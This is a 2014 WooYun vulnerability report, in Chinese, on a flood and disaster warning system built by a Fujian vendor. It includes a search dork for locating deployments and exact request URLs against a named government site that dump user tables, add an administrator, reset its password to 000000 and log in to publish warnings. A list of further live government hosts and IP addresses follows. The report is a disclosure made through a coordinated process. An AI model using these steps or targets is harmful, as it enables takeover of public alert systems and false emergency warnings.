漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-077977
漏洞标题：某灾害预警系统任意数据表查询&&任意增删管理员
相关厂商：国家互联网应急中心
漏洞作者： error
提交时间：2014-10-08 16:58
修复时间：2015-01-06 17:00
公开时间：2015-01-06 17:00
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-10-08： 细节已通知厂商并且等待厂商处理中
2014-10-11： 厂商已经确认，细节仅向厂商公开
2014-10-14： 细节向第三方安全合作伙伴开放
2014-12-05： 细节向核心白帽子及相关领域专家公开
2014-12-15： 细节向普通白帽子公开
2014-12-25： 细节向实习白帽子公开
2015-01-06： 细节向公众公开
简要描述：
某灾害预警系统可查询任意数据表数据，并且可任意添加、删除管理员，直接导致预警系统沦陷，系统后台可任意发布预警信息
详细说明：
该灾害预警系统为福建四创软件开发的“山洪灾害预警监测系统”
官网：http://www.strongsoft.net/
谷歌搜索： intitle:预警 系统 技术支持:福建四创
-----------------------------------------------------------
漏洞链接：/TableDataManage/BaseInforQueryContent.aspx?tabnm=
漏洞参数：tabnm
-----------------------------------------------------------
通过修改tabnm可以直接获取对应数据表的数据
漏洞证明：
以http://yj.yywater.gov.cn/作为测试案例
测试链接：http://yj.yywater.gov.cn/TableDataManage/BaseInforQueryContent.aspx?tabnm=
1）获取数据表Web_SystemUserRole
http://yj.yywater.gov.cn/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUserRole
2）获取管理员表Web_SystemUser
http://yj.yywater.gov.cn/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
3）任意添加管理员
通过链接：http://yj.yywater.gov.cn/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser可任意操作管理员（可添加、删除）
成功添加管理员helloworld
4）重置新添加管理员helloworld密码
访问：http://yj.yywater.gov.cn/TableDataManage/AjaxHandle/AjaxCustomAction.ashx?action=ResetPwd&UserIDs=UserID^varchar^helloworld
说明：UserIDs=UserID^varchar^后面跟上要重置的用户名
服务器返回success，则说明新添加的管理员helloworld的密码已经被重置为000000
5）使用helloworld|000000登录预警系统
可任意发布预警信息。。。
其他测试案例：
http://shzh.wlfx.gov.cn/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://shzh.dqwater.gov.cn/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://218.86.6.48:3505/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://yj.yywater.gov.cn/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://218.86.96.98:3505/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://222.216.218.28:8088/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://219.159.102.99:8088/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://111.12.51.221:8088/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://183.233.205.85:9001/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://222.83.214.58:8088/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://180.130.175.138:3503/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://219.159.239.96:8088/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
http://shzh.wlfx.gov.cn/TableDataManage/BaseInforQueryContent.aspx?tabnm=Web_SystemUser
......
修复方案：
郑重声明：此次漏洞测试未进行任何深入利用，未做任何破坏
版权声明：转载请注明来源 error@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：17
确认时间：2014-10-11 17:52
厂商回复：
最新状态：
暂无